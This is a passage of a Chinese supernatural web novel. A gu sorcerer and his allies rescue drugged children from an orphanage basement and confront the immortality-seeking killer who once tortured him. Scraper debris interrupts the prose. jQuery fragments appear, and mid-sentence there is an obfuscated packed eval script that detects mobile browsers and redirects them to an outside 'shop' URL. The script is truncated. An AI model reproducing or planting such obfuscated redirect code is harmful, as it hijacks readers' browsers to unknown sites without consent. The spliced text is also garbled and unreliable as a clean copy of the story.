$(''.inform'').remove(); $(''#content'').append('' 件,“关于陈小雨画中的符文。我做了深度分析,发现那些符文不仅是‘引路符’,还包含了一个坐标信息。” “坐标?” “对。”沈鉴放大符文的几个关键节点,“这些纹路组合起来,指向地下室的一个特定位置,不是入口,是更深处的某个‘节点’。可能是禁锢法阵的核心,也可能是……某个囚室的锁。” 君荼白想起画上的那句“钥匙被穿黑衣服的叔叔拿走了”。 “如果我们能找到那个节点,”他说,“也许能打开一扇门,至少让一部分灵魂先获得自由。” “但风险很大。”陆予瞻提醒,“触动节点可能会触发警报,或者导致整个禁锢法阵崩塌。如果法阵崩塌,那些破碎的灵魂可能会立刻消散。” “所以我们得先搞清楚法阵的结构。”君荼白说,“明天下到地下室后,我需要时间探查。陈子轩和基金会的人大概什么时候会到?” “根据监控,他们的车队会在晚上八点左右出发,九点到达孤儿院。”沈鉴调出行程表,“仪式预定在九点半开始。我们有大约半小时的先手时间。” 半小时。 在黑暗的地下室里,面对147个破碎的灵魂,探查法阵结构,还要准备对付陈子轩。 时间紧得让人窒息。 但君荼白没有犹豫:“够了。半小时,足够我找到那个节点,也足够我做点准备。” “什么准备?”陆予瞻问。 “布置一个陷阱。”君荼白说,“给陈子轩的欢迎仪式。” 傍晚,君荼白回到孤儿院时,秦院长正在组织孩子们收拾行李。 “明天下午三点出发。”老太太低声对他说,“周先生已经安排好车和住处。这是地址和钥匙。” 她递来一张纸条和一把钥匙。 “秦院长,”君荼白接过,“这些年,谢谢您。” 秦院长的眼眶红了:“该说谢谢的是我。这些年……我一直活在恐惧里,怕那些人再来,怕再有孩子失踪。现在终于……终于能面对了。” “您不怪我可能毁了这里吗?” “这里早就该毁了。”秦院长看着这座红砖小楼,眼神复杂,“从它还是仓库的时候,就该毁了。我把它变成孤儿院,是想用孩子们的干净,洗掉这里的脏。但有些脏……是洗不掉的。” 她转向君荼白,握紧他的手:“小君,答应我一件事。” “您说。” “如果明天……如果你在地下室看到小雨和明辉……告诉他们,秦奶奶一直想着他们。一直没忘。” 君荼白感觉喉咙发紧:“我会的。” “还有,”秦院长从怀里掏出一张泛黄的照片,照片上是两个笑得灿烂的孩子——一个扎着羊角辫的女孩,一个虎头虎脑的男孩,“这是他们唯一一张合影。如果可能……带他们回来。哪怕只是灵魂。” 君荼白接过照片,郑重地点头。 “我尽力。” 夜幕降临。 孩子们陆续睡去后,君荼白独自站在院子里。雨暂时停了,云层裂开一道缝隙,露出后面苍白的月亮——还不是满月,但已经很圆了。 明天这个时候,月亮会彻底圆满。 而地下室里的仪式,也会开始。 君荼白能感觉到,他皮下的每个蛊虫都在活跃,它们也感应到了满月的能量,感应到了地底那些灵魂的呼唤。 他从口袋里掏出那个装着忘川蛊的玻璃瓶。 银白色的蛊虫在营养液中缓缓游动,像一条微缩的银河。这东西能抹去一个人最深的执念,但无法抹去罪行,也无法抹去记忆。 陈子轩会忘记对永生的追求,但他不会忘记自己做过什么。 那不够。 君荼白的手指收紧,玻璃瓶在掌心留下冰冷的印记。 他想起第一世临死前的誓言——如果有来世,一定要让那些人付出代价。 现在,第一百四十七世,他终于站在了兑现誓言的边缘。 但代价是什么? 他打开瓶盖,将一滴自己的血滴入营养液。忘川蛊立刻游向那滴血,贪婪地吸食。这是“认主”的步骤,认主后的蛊虫会听从施术者的指令,只针对特定的目标。 银白色的蛊虫吸食了鲜血后,身体表面浮现出淡淡的红色纹路,像血管一样蔓延。 君荼白盖上瓶盖,将玻璃瓶收回口袋。 就在这时,他忽然感到一阵强烈的晕眩。 眼前的景象开始扭曲——院子变成仓库,月光变成昏黄的灯光,空气里弥漫着血腥味和霉味。 一个声音在他耳边响起,温和而残忍: “别怕,很快就结束了。” 是陈子轩的声音。 君荼白猛地后退一步,撞在墙上。冷汗瞬间浸透了后背,呼吸变得急促。 是记忆在主动涌现。 就像秦牧的残魂警告的那样,随着满月临近,随着蛊力达到临界点,那些被他封印的记忆正在破壳而出。 他扶住墙壁,大口喘气,强迫自己回到现实。 院子还是院子,月光还是月光。 但那个声音,还在耳边回响。 君荼白闭上眼睛,深深吸气。 然后他抬起头,看到桌子上,那张蜡笔画静静摊开。 画上,那个手腕有月牙的人影,正站在敞开的门前。 门里,是147个被黑色线圈住的小人。 门外,是月光。 还有……一把钥匙。 那把钥匙,一直在他手里。 从他签下契约的那一刻起,从他决定背负这一切的那一刻起,钥匙就已经在他手里了。 现在,他只需要找到锁孔。 然后,打开那扇门。 14. 深渊之底 满月之夜。 晚上八点,三辆黑色商务车从晨星基金会的停车场无声驶出,融入城市的车流。中间那辆车的后座,陈子轩透过车窗看着外面渐暗的天色,手指轻轻摩挲着戴在左手拇指上的玉扳指。 扳指内侧刻着细密的符文,在皮肤接触时传来温润的热量——那是“魂甲”的一部分,用九个横死之人的眉心骨炼制的护身法器。只要戴着它,寻常的灵魂冲击便伤不到他分毫。 “陈先生,天气预报说今晚有大雨。”副驾驶的保镖低声汇报。 “正好。”陈子轩微笑,“雨水能掩盖很多声音。” 他的目光落在膝上摊开的档案夹上。那是一份详细的仪式流程说明,由基金会的高级执事亲自撰写。今晚,他将首次主持“高阶灵魂提取”,目标是从孤儿院地下室的147个灵魂中,筛选出“纯净度”最高的三个,进行能量提纯。 如果能成功,他的寿命至少能延长二十年。 二十年,足够他寻找更完美的永生之法了。 车队驶过跨江大桥时,陈子轩忽然开口:“那个叫君荼白的古籍修复师,查清楚了吗?” “查清了。”前排的助理立刻回答,“表面身份是城南大学的研究生,师从张教授,主攻明代地方志修复。三个月前因‘健康原因’休学,目前在归家孤儿院做夜间管理员。” “孤儿院……”陈子轩若有所思,“他住进去了?” “是的,一周前入住。秦院长说他是个‘安静本分’的年轻人。” 陈子轩的手指停在档案页上。 安静本分。 这个形容,让他想起很久以前的一个人。那个人也很安静,被铐在仓库水管上三天三夜,除了偶尔的呻吟,几乎不发出声音。 直到最后…… 陈子轩摇摇头,把这个念头甩开。那都是前多少辈子的事了,这一世他是成功的商人,是慈善家,是即将获得永生的人。 过去的蝼蚁,不值得记住。 “继续监视。”他说,“如果今晚他出现在现场……” 他没有说下去,但助理明白了。 “是。” --- 同一时间,孤儿院。 晚上八点二十分,最后一批孩子坐上大巴。秦院长站在车门口,最后一次回头看向这座红砖小楼。 “秦奶奶,我们什么时候回来?”一个男孩问。 “很快。”秦院长挤出一个笑容,“等雨停了就回来。” 小玲坐在靠窗的位置,脸贴着玻璃,看着站在楼门口的君荼白。她举起手,轻轻挥了挥。 君荼白也抬起手,朝她点头。 大巴缓缓驶出巷子,尾灯在雨中晕开两团红色的光晕。周屹骑着摩托车跟在后面,身影很快消失在拐角。 现在,孤儿院里只剩下三个人。 君荼白、陆予瞻、沈鉴。 “开始吧。”陆予瞻说。 他们走进楼内,反锁了前后门。沈鉴从背包里取出三台便携式扫描仪,分别递给两人。 “这是我改良过的‘灵质探测仪’。”沈鉴解释道,“能实时显示灵魂能量分布和法阵结构。绿色表示安全,黄色警示,红色代表高浓度怨念或危险节点。” 君荼白戴上探测仪,眼前立刻浮现出半透明的全息界面。整栋楼的结构以蓝色线条勾勒,而地下室区域——此刻显示为一片深红色的不祥阴影,里面密密麻麻分布着147个微小的光点,每个光点都在缓慢移动,像困在玻璃瓶里的萤火虫。 “怨念浓度比昨天上升了37%。”沈鉴看着数据,“满月效应开始显现。我们必须在一个小时内完成初步探查,否则等基金会的人到了,我们就没时间了。” “入口在哪里?”陆予瞻问。 君荼白走到储物间门口。他没有用钥匙,而是将左手贴在门锁的位置。掌心皮肤下,探魂蛊微微蠕动,释放出细微的蛊力波动。 几秒后,门锁内部传来“咔哒”一声轻响。 不是开锁,是锁芯内部的金属结构在蛊力的作用下暂时“软化”了。君荼白推开门,一股陈年的灰尘味扑面而来。 “手电。”陆予瞻递过来一支强光手电。 三道光柱刺破黑暗,照亮了储物间内部。和前两天君荼白打扫时相比,这里看起来没什么变化,但探测仪的界面上,地面中央那块深色区域此刻正闪烁着刺眼的红光。 “就是这里。”君荼白蹲下身,手指划过水磨石地面的缝隙,“下面有空洞,深度……大约三米。” 沈鉴从背包里取出一个金属圆盘,贴在红色区域中央。圆盘边缘亮起一圈蓝光,开始缓慢旋转。 “声波探测显示,下方有完整的地下室结构,面积大约两百平米,分割成十几个小隔间。”沈鉴看着平板上的数据,“而且……有生命活动迹象。” “什么?”陆予瞻皱眉,“那些灵魂不是……” “不是灵魂。”沈鉴的表情严肃起来,“是活人。至少两个,心跳微弱,但还活着。” 君荼白和陆予瞻对视一眼。 基金会抓了新的“媒介”。 “我们必须下去。”君荼白说,“现在。” 沈鉴点头,从背包里取出三个小型钻头,分别固定在红色区域的三个角。钻头启动,发出低沉的嗡鸣,但声音被提前布置的隔音材料吸收了大半。 三分钟后,水磨石地面被切出一个直径约六十公分的圆洞。洞口下方,黑暗深不见底,只有一股阴冷潮湿的空气涌上来,夹杂着淡淡的铁锈味和……某种甜腻的腐败气息。 君荼白第一个下去。 他将绳索固定在储物间的承重柱上,戴上头灯,翻身进入洞口。垂直下降三米后,双脚触到了坚实的地面。 头灯的光束扫过四周。 这里比他想象的更宽阔。墙壁是老式的红砖砌成,没有粉刷,砖缝里长满了黑色的霉斑。地面是夯实的泥土,踩上去松软潮湿。空气中那股甜腻的腐败气息更浓了,像是某种药材和尸体混合的味道。 探测仪界面上,那147个灵魂光点就在前方不远处,聚集在一个更大的空间里。 “安全。”君荼白向上方打了个手势。 陆予瞻和沈鉴依次降下。三人汇合后,沈鉴立刻开始布置监测设备,陆予瞻则检查武器——一把特制的麻醉枪,子弹里填充了能暂时瘫痪神经的蛊毒。 “活体信号在左前方,距离我们大约二十米。”沈鉴指着探测仪,“灵魂聚集区在正前方三十米处,中间……有一道能量屏障。” 君荼白看向左前方的通道。那是一道低矮的拱门,门框上刻着模糊的符文,在头灯光束下泛着暗红色的微光。 “是血符。”他低声说,“用活人鲜血绘制的禁锢符文。门后面……应该就是关押新媒介的地方。” “先去救人。”陆予瞻说。 三人贴着墙壁,小心地向拱门移动。地面湿滑,每一步都留下浅浅的脚印。通道里回荡着滴水声,还有某种细微的、像是什么东西在爬行的窸窣声。 走到拱门前时,君荼白忽然停下。 “怎么了?”陆予瞻问。 君荼白没有回答,只是死死盯着门框上的符文。那些扭曲的线条,那些暗红色的痕迹……他见过。 在第一世的记忆里。 在那个仓库的地下室,同样的符文刻在每个隔间的门框上。那些符文不仅禁锢了受害者,还会缓慢吸取他们的生命力,转化为施术者可用的能量。 而绘制这些符文的人…… 是陈子轩。 胃部传来剧烈的痉挛。君荼白咬紧牙关,强迫自己呼吸。 “荼白?”陆予瞻察觉到了他的异常。 “没事。”君荼白声音嘶哑,“只是……想起了一些事。” 他伸出手,指尖悬在符文上方,没有触碰。蛊力从指尖渗出,像无形的触须,轻轻“触碰”那些符文的结构。 一瞬间,无数画面涌入脑海—— 黑暗的隔间。铁链的碰撞。微弱的哭泣声。 一只戴着白手套的手,用沾满鲜血的毛笔,在门框上一笔一划地刻下这些符文。那只手很稳,动作从容,像是在完成一件艺术品。 然后,那只手的主人转过头,看向隔间里被铁链锁住的人。 金丝眼镜后的眼睛,温和,平静,没有任何波澜。 就像在看一件物品。 君荼白猛地收回手,后退一步,撞在陆予瞻身上。 “荼白!”陆予瞻扶住他,感觉到他全身都在颤抖。 “是陈子轩画的。”君荼白的声音在发抖,“这些符文……他用的是受害者的血。每一笔……都要用新鲜的血。” 沈鉴立刻用仪器扫描符文:“能量残留分析……确实是人类血液,而且来自至少七个不同的个体。血液中检测到强烈的恐惧和痛苦情绪残留。” “畜生。”陆予瞻低声骂了一句。 君荼白深吸几口气,强迫自己冷静下来。他不能在这里崩溃,还有人在等着他们去救。 “开门。”他说,“符文我来处理。” 他再次伸出手,这一次,掌心凝聚起银白色的蛊力。蛊力像液体一样流淌,覆盖在血符的表面,开始缓慢地“腐蚀”那些符文的结构。 这不是破坏,是“改写”。将禁锢的符文,暂时改造成无害的装饰纹路。 三分钟后,最后一笔符文失去光泽。 拱门无声地向内滑开。 头灯的光束照进室内。 那是一个大约十平米的小隔间,墙壁上挂着锈迹斑斑的铁链,地面铺着发霉的稻草。角落里,两个瘦小的身影蜷缩在一起,身上盖着破旧的毯子。 是两个孩子。 一个男孩,一个女孩,看起来都不超过十岁。他们的手腕和脚踝上都有明显的勒痕,脸色苍白如纸,呼吸微弱。 最可怕的是——他们的额头上,各贴着一张黄色的符纸。符纸上用朱砂画着扭曲的符文,符文中央,嵌着一颗米粒大小的黑色晶体。 “子蛊……”君荼白的声音发紧,“他们已经种下了。” 沈鉴快步上前,小心翼翼地检查符纸:“是活体媒介的标准处理方式。子蛊植入额头,与大脑神经连接,确保仪式过程中媒介不会反抗,而且……能最大化地提取灵魂能量。” “能取出来吗?”陆予瞻问。 “理论上可以,但风险很大。”沈鉴皱眉,“子蛊已经和神经建立了连接,强行取出可能会导致脑损伤,甚至……” “甚至什么?” “甚至可能触发子蛊的自我保护机制,直接吞噬宿主的部分记忆或意识。” 君荼白走到两个孩子身边,蹲下身。女孩似乎还有一丝清醒,眼皮微微颤动,嘴唇无声地开合。 他凑近,听见女孩用气声说:“……疼……头好疼……” “我知道。”君荼白轻声说,“我会帮你们。” 他抬起左手,手腕上的月牙疤痕开始发烫。皮下的蛊虫活跃起来,释放出温和的蛊力波动,像无形的丝线,轻轻缠绕在两个孩子的额头。 探魂蛊在“读取”子蛊的状态。 几秒后,君荼白得到了反馈。 “子蛊还处在‘休眠期’。”他说,“母蛊没有激活它们。这意味着……陈子轩还没有开始仪式。” “但随时可能开始。”陆予瞻说。 “对。”君荼白站起身,“所以我们必须先处理掉母蛊。只要母蛊被摧毁或控制,子蛊就会进入永久休眠,到时候再慢慢取出,风险会小很多。” “母蛊在陈子轩身上。”沈鉴说。 “我知道。”君荼白从贴身口袋里取出那个装着忘川蛊的玻璃瓶,“所以我们要做的,就是把这只蛊,种到他身上。” 他看向拱门外,那条通往灵魂聚集区的通道。 147个破碎的灵魂,就在那里等着。 还有陈子轩,也正在来的路上。 “先把孩子们带出去。”陆予瞻说,“送到安全的地方,再回来处理其他事。” “来不及了。”君荼白摇头,“探测仪显示,基金会的车队已经过了跨江大桥,最多还有二十分钟就到。我们没时间转移孩子再回来。” 他顿了顿:“而且……如果陈子轩发现媒介不见了,可能会立刻启动备用方案。到时候死的可能就不止这两个孩子了。” “那你打算怎么办?”沈鉴问。 君荼白看向通道深处,眼神逐渐变得冰冷而坚定。 “设置陷阱。”他说,“用这两个孩子作为诱饵,把陈子轩引到我们选择的地点。然后……” 他握紧了玻璃瓶。 “给他一份‘礼物’。” --- 晚上八点五十分。 基金会的车队驶入老城区。雨越下越大,豆大的雨点砸在车顶上,发出密集的鼓点声。 陈子轩看着窗外飞掠而过的老旧建筑,忽然开口:“停一下。” 车队在巷口停下。 “怎么了,陈先生?”助理问。 “太安静了。”陈子轩说,“孤儿院那边……一点灯光都没有。” 助理拿起望远镜,看向巷子深处。整座红砖小楼完全沉浸在黑暗里,只有雨水顺着屋檐流淌,在门口积成小小的水洼。 “可能停电了?” “可能。”陈子轩微笑,“也可能……有人在等着我们。” 他推开车门,雨水立刻打湿了他的西装肩头。但他毫不在意,只是站在雨中,看着那座黑暗的建筑。 玉扳指传来温热的触感,那是魂甲在预警——附近有强烈的灵魂波动,还有……某种熟悉的、让他本能厌恶的能量。 蛊力。 “有意思。”陈子轩低声自语,“这一世,居然还有人会这种老把戏。” 他转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052010|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到车上:“通知其他人,按B计划进行。先派三个人进去探查,确认安全后再进去。” “是。” 三分钟后,三个穿着黑色作战服的男人悄无声息地潜入孤儿院。他们装备精良,动作专业,显然是受过特殊训练的保镖。 但他们不知道的是,从他们踏进院子的那一刻起,就已经被“看见”了。 --- 地下室里,沈鉴的监测屏幕上显示着三个移动的红点。 “三个人,从正门进入。”他低声说,“装备热成像仪和通讯器,应该是先遣队。” “能干扰吗?”陆予瞻问。 “已经干扰了。”沈鉴按下平板上的一个按钮,“他们的通讯信号会被转接到我的模拟器上。现在他们听到的,都是我想让他们听到的。” 屏幕上,三个红点在一楼大厅分开,开始逐个房间搜索。 君荼白站在两个孩子身边,手掌轻轻覆盖在他们的额头上。银白色的蛊力持续输出,维持着子蛊的休眠状态,同时也在两个孩子周围布置了一层薄薄的防护——能暂时隔绝外界的探测和干扰。 “他们发现入口了。”沈鉴忽然说。 屏幕上,一个红点停在储物间门口,似乎在检查地面的痕迹。 “启动诱饵。”君荼白说。 沈鉴点头,在平板上操作了几下。 下一秒,储物间的地面上,那个被切割出来的圆洞周围,亮起了微弱的蓝光——那是沈鉴提前布置的全息投影,模拟出“有人刚刚通过”的痕迹。 果然,屏幕上的红点停顿了几秒,然后通过通讯器汇报:“发现入口,有近期活动痕迹,请求指示。” 沈鉴立刻启动语音模拟,模仿陈子轩助理的声音回复:“继续深入探查,保持通讯。” 三个红点依次进入洞口,降下绳索。 他们来了。 君荼白看向陆予瞻和沈鉴,三人默契地点头,然后迅速分散,隐藏在通道两侧的阴影里。 头灯关闭。 黑暗中,只有探测仪屏幕的微光,还有通道深处那147个灵魂发出的、微弱而痛苦的荧光。 第一个保镖落地,热成像仪扫过四周。 “安全。”他低声汇报。 第二个、第三个依次落地。三人组成战术队形,开始向通道深处移动。 他们没有注意到,就在他们头顶的砖缝里,几只细如发丝的银色蛊虫正悄无声息地爬行,跟随着他们的脚步。 那是君荼白放出的“影蛊”,能同步传递视觉和听觉信息。 通过影蛊的“眼睛”,君荼白能清晰看到这三个人的一举一动。 他们很谨慎,每一步都踩得很稳,枪口始终指向潜在的危险方向。但从他们的呼吸频率和肌肉紧张程度来看,他们也很紧张。 毕竟,这里是传说中的“鬼屋”。 “发现两个目标。”领头的保镖忽然停下,热成像仪指向拱门内的隔间,“两个小孩,生命体征微弱。” 他挥手示意,三人缓慢靠近拱门。 就在他们跨过门槛的瞬间—— 君荼白从阴影中现身,左手一挥,三只“麻痹蛊”如银针般射出,精准地命中三人的后颈。 保镖们甚至没来得及发出声音,就身体一僵,软软倒下。 陆予瞻和沈鉴立刻上前,收缴他们的武器和通讯设备,然后用特制的束带将他们捆好,拖到角落里。 整个过程不到十秒。 “搞定。”沈鉴检查着收缴的设备,“通讯器、热成像仪、还有……这个。” 他举起一个小巧的金属装置,上面有一个红色的按钮。 “遥控引爆器。”陆予瞻脸色一沉,“他们打算炸掉这里?” “更像是‘清理工具’。”君荼白说,“如果仪式失败,或者出现意外,就炸毁整个地下室,毁灭证据。” 他将引爆器收进口袋:“现在,该我们准备迎接贵客了。” 三人迅速布置现场。 沈鉴在通道里布置了多个监测节点,能实时反馈能量波动和人员移动。陆予瞻在关键位置设置了绊索和触发式麻醉针。君荼白则在地面上,用特制的蛊粉画出了一个复杂的法阵。 这个法阵不是攻击性的,而是“困阵”。一旦启动,能将范围内的人暂时困住,同时屏蔽所有能量波动和声音传播。 他们要在这里,给陈子轩设下陷阱。 布置完成后,君荼白回到拱门内,看着那两个昏迷的孩子。 女孩的眉头紧皱着,即使在昏睡中,也像是在忍受着巨大的痛苦。 君荼白伸出手,指尖轻轻抚过女孩的额头。蛊力温和地渗入,暂时安抚了子蛊带来的神经刺激。 “再坚持一下。”他轻声说,“很快就结束了。” 然后他站起身,看向通道入口的方向。 探测仪显示,基金会的车队已经全部抵达孤儿院。陈子轩和另外六个人下了车,正在向楼内移动。 时间,晚上九点零七分。 距离满月能量达到峰值,还有五十三分钟。 “各就各位。”陆予瞻低声说。 三人迅速回到预设的埋伏点。 君荼白藏在拱门旁的阴影里,左手紧握着装忘川蛊的玻璃瓶,右手则按在地面的法阵节点上,随时准备启动。 黑暗中,他听见自己的心跳,听见雨声从地面的缝隙渗下来,听见通道深处那147个灵魂发出的、永恒的呜咽。 还有……脚步声。 沉稳,从容,不紧不慢。 就像第一世时,那个男人走向被铐在墙边的他时,那种从容不迫的步伐。 君荼白的呼吸开始急促。 胃部翻搅,冷汗浸湿了后背。 那些记忆又开始涌现——铁链的冰冷,金属工具的触感,还有那个温和的声音: “别怕,我会让你舒服一点的。” 他咬紧牙关,指甲深深陷进掌心。 疼痛让他清醒。 陆予瞻在通讯器里低声提醒:“荼白,保持呼吸。” 君荼白深吸一口气,强迫自己放松。 脚步声越来越近。 然后,一束光刺破了通道的黑暗。 陈子轩举着手电,缓缓走下台阶。他身后跟着四个保镖,还有两个穿着灰色长袍、看起来像是“仪式助手”的人。 玉扳指持续发烫,魂甲在预警。 但陈子轩只是微笑。 “有意思。”他看着通道深处,像是在对谁说话,“你们布下了陷阱,对吗?” 他的声音温和,清晰,在狭窄的通道里回荡。 君荼白全身的血液仿佛瞬间凝固。 就是这个声音。 一百四十七年了,他从未忘记。 而现在,这个声音的主人,正一步步走向他设下的陷阱。 走向……最终的审判。 15. 忘川 黑暗的通道里,时间仿佛凝固了。 陈子轩站在法阵中央,手电的光束缓缓扫过四周。他的表情没有丝毫慌乱,反而带着一种饶有兴味的探究,就像在参观一个精心布置的展馆。 “蛊粉画阵,困龙格局,外加三重幻象叠加。”他轻声点评,声音在狭窄的空间里清晰回荡,“很正统的手法,看来是秦牧那一脉的传人。” 藏在阴影中的君荼白浑身一僵。 陈子轩不仅看穿了法阵,还一语道破了传承来历。 “这里一点没变。”他轻声说,手指拂过潮湿的砖墙,“还是这么……让人怀念。” 他的目光落在君荼白藏身的位置,嘴角勾起一个温和的弧度。 “不出来见见老朋友吗,小白?” “小白”——那是第一世,陈子轩给他起的“昵称”。在被铐在仓库里的那三天里,陈子轩总是用最温柔的语气叫这个名字,然后做最残忍的事。 君荼白藏在阴影里,全身的血液都冷了。 一种被刻在灵魂里的、生理性的厌恶。他的胃在痉挛,喉咙发紧,皮肤像有无数只蚂蚁在爬。 “荼白,呼吸。”陆予瞻的声音在通讯器里响起,克制而急促。 话音刚落,陈子轩的左手拇指轻轻摩挲玉扳指。扳指表面泛起暗红色的微光,一股无形的能量波动扩散开来。 君荼白布置的困阵表面,立刻浮现出蛛网般的裂纹。 “不好!”沈鉴在通讯器里低呼,“他在用魂甲强行破解法阵结构!” 君荼白咬紧牙关,左手按在地面,蛊力疯狂输出,试图修补裂纹。但魂甲的能量等级远超他的预估——那是用九个横死之人的全部怨念炼制的法器,每一份怨念都相当于一个完整灵魂的强度。 九对一。 不,是九对一百四十七——他还要分心维持两个孩子周围的防护。 汗水顺着额角滑落。 “荼白,撤退。”陆予瞻的声音在通讯器里响起,“法阵撑不住了。” “再等等。”君荼白盯着陈子轩,“他还没发现真正的陷阱。” 困阵只是表象。君荼白真正布下的,是“记忆共鸣阵”——这个阵法不会困住身体,而是会放大范围内所有人的记忆波动。只要陈子轩在阵中停留足够久,他潜意识里最深的记忆就会被激活。 而激活的记忆,会成为忘川蛊最好的培养基。 “不出来吗?”陈子轩遗憾地摇头,抬脚向前迈了一步。 就是现在。 君荼白从阴影中现身,左手手腕上的月牙疤痕爆发出刺目的银光。通知陆予瞻和沈鉴启动第二阶段的信号。 通道两侧的墙壁上,沈鉴提前布置的符文同时亮起。是“镜像符文”,能将阵中的景象和声音完全复制,投射到另一个位置。 同时,陆予瞻启动了沈鉴设计的“声光干扰器”一个高频声波发生器,能发出人类听不见但会让大脑产生短暂眩晕的频率。 陈子轩身后的四个保镖和两个助手同时捂住耳朵,面露痛苦。 但陈子轩只是皱了皱眉。玉扳指的光芒更盛,在他周身形成一层淡红色的护罩,将声波完全隔绝。 “雕虫小技。”他微笑,“如果你们只有这种手段,那我可要失望了。” 他看向君荼白,目光上下打量,像在评估一件商品。 “这一世,你长得不错。”陈子轩的语气很平静,甚至带着欣赏,“比第一世那个满身是伤的样子好看多了。” 君荼白的胃部剧烈翻搅。 那些记忆像海啸一样冲击着意识的堤坝。他咬紧舌尖,用疼痛强迫自己保持清醒。 “陈先生记性真好。”君荼白开口,声音比预想的平稳,“多少个轮回了,还记得这么清楚。” “当然记得。”陈子轩向前走了两步,踏入记忆共鸣阵的核心区域,“你是我亲手‘处理’的第一个警察。很有纪念意义。” 他的目光落在君荼白左腕的疤痕上。 “这个印记,也是我留下的。”陈子轩的语气近乎怀念,“特制的锁扣,倒齿设计,铐上三天就会在骨头上留下永久痕迹。我本来想看看,人的手腕被铐到露出白骨需要多久。” 君荼白的呼吸开始急促。 法阵在共鸣。陈子轩的记忆在激活,他自己的记忆也在被强行拉扯出来。 他看见—— 仓库里,陈子轩蹲在他面前,用戴着白手套的手指轻轻碰了碰他手腕上深可见骨的伤口。 “疼吗?”那时候的陈子轩问,语气温和得像在关心朋友。 他当时没有回答,只是死死盯着这个男人。 陈子轩笑了:“不说话?那我们来玩个游戏。我问你一个问题,你答对了,我就给你喝口水。答错了……” 他拿起旁边的铁钳。 “……我们就继续。” 记忆碎片切割着君荼白的神经。他身体晃了一下,几乎站立不稳。 “荼白!”陆予瞻在通讯器里低吼,“他的记忆在污染你!切断连接!” 但君荼白不能切断。记忆共鸣阵是双向的,他在读取陈子轩记忆的同时,陈子轩也在读取他的。这是忘川蛊生效的唯一途径:必须先让蛊虫“品尝”到宿主最深的执念,才能精准地抹除它。 “我没事。”君荼白低声回应,声音发颤。 他抬起头,直视陈子轩:“所以这一世,你又想来‘处理’我?” “不。”陈子轩摇头,“这一世,我是来邀请你合作的。” 他张开双臂,像是在展示一个伟大的愿景。 “看看这里。”他说,“147个纯净的灵魂,被妥善保存了147个轮回。基金会掌握了先进的‘灵魂提纯技术’,能将他们的痛苦转化为纯粹的能量。而你——一个掌握了秦牧正统蛊术的传人,如果能加入我们,我们就能将这种技术的效率提升十倍、百倍。” 陈子轩的眼睛在黑暗中闪着光。 “想象一下,用147个灵魂,换来147年的寿命。不,不止——如果我们能找到更多‘材料’,永生就不再是梦想。而你,君荼白,你可以成为新世界的缔造者之一。” 君荼白感到一阵恶心。因为这种轻描淡写将人视为“材料”的态度。 “然后呢?”他问,“等这147个用完了,再去抓新的?” “聪明。”陈子轩赞赏地点头,“世界上永远不缺无人在意的边缘人。流浪汉、孤儿、精神病人……他们的消失不会引起波澜,但他们的灵魂,可以为我们铺就通往永生的阶梯。” 通道里安静了几秒。 然后君荼白笑了。 那是一个很轻、很冷的笑容。 “陈先生。”他说,“你知道秦牧为什么要把蛊术传给我吗?” 陈子轩挑眉:“为什么?” “因为他说,我眼睛里有一种东西。”君荼白抬起左手,手腕上的疤痕在银光中清晰可见,“不是仇恨,也不是慈悲。是‘线’。” “线?” “对。”君荼白点头,“我能看见人与人之间的‘线’。血缘的线、缘分的线、因果的线。而你——” 他盯着陈子轩。 “你身上缠满了黑色的线。每一根都连着一个死去的人。147根,一根不少。” 陈子轩的笑容僵了一下。 “装神弄鬼。”他冷声道,“既然你不愿意合作,那就只能请你去陪他们了。” 玉扳指的红光暴涨。 但就在这时,沈鉴的声音通过扩音器在通道里响起:“陈先生,你不想看看你真正想要的东西吗?” 陈子轩猛地转头。 在他左侧的墙壁上,镜像符文投射出了一幅画面——那是孤儿院储物间,地面上有一个打开的暗格,暗格里放着一个古朴的木盒。盒盖敞开,里面是一卷泛黄的帛书。 帛书的标题用朱砂写着三个大字:《长生录》。 陈子轩的呼吸明显急促了。 《长生录》——传说中秦牧晚年研究永生之术的手稿真迹。基金会找了它很久,一直以为已经失传。 “那是假的。”陈子轩强迫自己冷静。 “是吗?”沈鉴的声音再次响起,“那你看这一段——‘魂分九品,上三品可炼为丹,中三品可制为器,下三品……’” 他念了一段艰深的古文。 陈子轩的脸色变了。那是基金会内部传承的秘典片段,只有高层知道。沈鉴能念出来,说明那卷帛书很可能是真的。 “在哪里?”陈子轩的声音里第一次出现了急切。 “就在你脚下。”君荼白说,“这个地下室有三层。我们现在在第二层,真正的密室在第三层。但入口……需要特殊的钥匙才能打开。” “什么钥匙?” 君荼白抬起左手:“我的血,加上你的魂甲能量,同时注入地面法阵的中心节点。” 这是一个谎言,但编造得足够精密。 陈子轩盯着他看了很久,似乎在评估真假。 最后,他笑了:“可以。但你要先过来,站在我旁边。” 君荼白的心跳漏了一拍。 他必须靠近陈子轩,才能下忘川蛊。但靠得太近,记忆共鸣会加倍,他可能会当场崩溃。 “怎么,不敢?”陈子轩讥讽,“刚才不是还很勇敢吗?” 君荼白深吸一口气,迈步向前。 走到距离陈子轩三米时,君荼白停下了。 君荼白咬紧牙关,强迫自己吸气。但空气中那股味道,古龙水混合着陈年血腥和某种甜腻药材,太熟悉了。是那些黑暗日子里唯一能闻到的味道。 “看来你还需要点鼓励。”陈子轩微笑,从西装内袋里掏出一个小小的金属装置。他按下一个按钮。 墙壁上,沈鉴布置的镜像符文闪烁了几下,然后画面切换——不再是《长生录》的诱饵,而是一段模糊的黑白录像。 画面摇晃,光线昏暗。 但足以看清内容。 仓库。铁链。还有……被按在地上的年轻人。 君荼白的瞳孔骤然收缩。 那是第一世的他。二十四岁,穿着已经被撕烂的警服,脸上全是血和污渍。他的手脚被铁链锁住,嘴巴被布条塞着,只能发出压抑的呜咽。 画面外传来陈子轩的声音,温和,愉悦:“看,他在哭呢。” 然后是其他人的笑声。 接着,一只手伸进画面——戴着白手套,干净,修长。那只手轻轻抚过年轻警察的脸颊,像在抚摸宠物。 